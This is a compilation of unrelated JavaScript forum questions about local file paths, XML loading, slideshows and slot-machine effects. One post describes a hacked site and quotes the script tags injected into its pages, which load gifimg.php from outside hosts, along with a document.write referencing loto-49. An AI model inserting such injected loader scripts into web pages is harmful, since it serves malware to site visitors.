Document Path On Local Machine
Jul 30, 2006
I have a js file embedded into additional files to make up the extension.
I want to run a single executable file, but I can't figure out what the relative path is. The path must remain relative, because the user will set the directory.
The js code like so:
runthefile: function(){
const path = "calc.exe"
var file = Components
.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile)
file.initWithPath(path)
file.launch()
}
However, it doesn't seem to run calc.exe no matter where I put it. Code:

I've written a slideshow script which loads and displays a series of >1Mb images from the local machine. Each image is loaded twice - once to get the dimensions and once to be shown on the screen, so it can be dynamically resized by another script.
This script runs without problems in Opera and Internet Explorer, no matter how many times it's executed. However, after it runs a couple dozen times in Firefox, the width and height attributes of the image start returning 0. It seems like the loading has slowed down considerably and the script starts skipping to the next line without waiting for it to finish.
I've tried adding the line while(!image.complete), which works, but invariably causes Firefox to display a message saying the script is causing Firefox to run slowly, and asking if I want to abort.
Is there a way I can flush earlier images from the cache, or somehow free up resources so the script will continue to run as quickly as it does at the start?

I need to be able to search through an xml located on my local machine with an html page. Here's the thing: this whole system (html files, xml file) will always be on my local machine. Because it's a class project it won't be on a server. So here's the scenario: I navigate to where my files are located (say C:) and I double click my index.html page and this page opens in my browser and from this page I need to be able to search my xml file which is at the same location. I've tried xmlhttprequest and it won't open the xml file I'm guessing because I don't need an http request.
Here's what I have so far:
if (window.XMLHttpRequest) {
xmlhttp=new XMLHttpRequest();
} else {
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
} xmlhttp.open("GET","C:MovieDB.xml",false);
xmlhttp.send(); xmlDoc=xmlhttp.responseXML;
function searchDB() {
if(!xmlDoc){
alert("error")
} var keyword = $('#txtBox').val();
var searchVal = $('#basicCategory :selected').text();
var allitems = xmlDoc.getElementsByTagName("Movie");
for(var i=0;i<allitems.length;i++){
alert(allitems[i].getElementsByTagName(searchVal[0].
childNodes[0].nodeValue);
} }
The code doesn't make it past the xmlhttp.send() line.

On uploading files (PHP and javascript) to the server from local machine via dreamweaver, Google Chrome reported the presence of malicious codes (like loto-49) inside the server page. Later when I checked, I found that a HTML Code:document.write('....loto-49.com....'); was automatically added at the end of each javascript *.js files. On their removal, the warnings were gone.Recently, they again appeared. Between the closure of the head tag (</head>) and the start of the body tag(<body>) the following code is added automatically:
HTML Code:
<script src=http://hilalgroup.com/images/gifimg.php ></script> <script src=http://pianotainment.com/images/gifimg.php ></script>

I am working with a activeX widget that has a method that produces an image which is saved to a users local machine. All the method requires is the path on the local machine. I need to obtain this path (hopefully utilizing a "save as" file dialog) and store its value to a variable so I can pass it to the method. It does work with an input type="file" but they are branded for file uploads an dit is a little misleading and confusing for the user.
example:
var path = $("#saveAsDialog").val();
activeXObj.saveScreenshot(path);

I'm using a script to include images into a slide show using direct URLs to the image files, but I am using fckeditor (PHP) for my users to edit their content. The script in the .js file that pulls the images into the slide show.The user's image file is going to be named something like, "userImage01.php". Inside that file would be their image location path ~ "images/user/image1.jpg".Therefore, I need the above javascript to pull-in "userImage01.php" INSTEAD OF the image's location path.

My HTML page loads and alerts an XML document on another machine. If I
request the page by machine name or localhost there is no problem. If
i request by IP access denied error occurs.
I think this is because of that only the documents on same machine can
be loaded. Is there any way to load xml documents from another machine?

I am writing some numerical math programs in Javascript (translating
from C++) and am seeking your advice regarding machine constants.
C++ offers the <cfloatlibrary for accessing machine constants such
as DBL_MIN and DBL_EPSILON. Does Javascript offer comparable values?
If not, can you suggest a method (brute force or otherwise) for
calculating these values myself (in Javascript)?

I'm trying to make a slot machine effect in JS - i had an ajax example but was far too complicated to manipulate to communicate with my server so im working from ground up.
The way ive done it is simple html and a submit button.
But i want the submit button to first create a "rolling through the images" affect like a slot machine does - then stop left to right in that order (basically like a slot machine does).
Now this is beyond what i know in JS but i then also want it to know the result of the images store them into an array and push it to my PHP so i can process it on my server.

i need a way to visually shuffle through a bunch of names and pick one at random. i found some code for a javascript slot machine and hacked at it.
the result is attached.
when you click on the logo, it's supposed to display 25 names then stop on the last one. instead, it just display undefined. i'm not exactly sure why, but i think that the spinem function can't access the array of names.

I want to make an extensive browser/fileupload script inspired on windows Explorer... A server side listing of the files and directories with the home directory specified in the script and a listing of the clients files. The server side part can be found on http://vegeta.evilkalah.be ... The idea now is to make it possible to upload or download (maybe drag and drop) files from on side to the other. I don't know how I best make the client side. So on this part any help is welcome...

I'm about to start a project where the application is one used on a publicly accessed machine. It could be like, say, a ticket purchasing application in a kiosk machine; or maybe touch-screen app that tells grocery shoppers which aisle has coffee, etc.
So my question is, can javascript (or some other language?) be used to open a window without any controls (toolbars, menubars, titlebars, frame, etc) so that the user can't close the application (or resize, change, etc.)?

I have the following directory structure
index.jsp
a.js
b.js
|
|--/templates
|
|--/blah.jsp
Now blah .jsp is included INSIDE index.jsp.
In blah.jsp I have a button that calls a function inside b.js.
In index.jsp I have following code inside head tags:
<script src="a.js"></script>
<script src="b.js"></script>
and I figured since blah.jsp is included inside index.jsp, I should be
able to access the javascript methods with ease. But its not happening
that way. I get an error (object expected in the line that has button in
it). BTW, its not a problem in my JS or JSP code, because if I put the
js file's contents inside blah.jsp, then it works like a charm!
So what am I doing wrong?
I also tried moving my script import statements inside blah.jsp as:
<script src="../../a.js"></script>
<script src="../../b.js"></script>
But this doesn't seem to work either?

I'm having an issue using .get and a callback. Basically, unlessI use a fully quantified path when I deploy my site the call doesn't work. When I'm developing on localhost, the site works fine. It's an ASP.NET MVC site. I'm fairly new to jQuery. If I replace the code with an absolute path, all seems fine. Obviously I'd rather use relative paths. I'd be grateful for any insight you could offer.
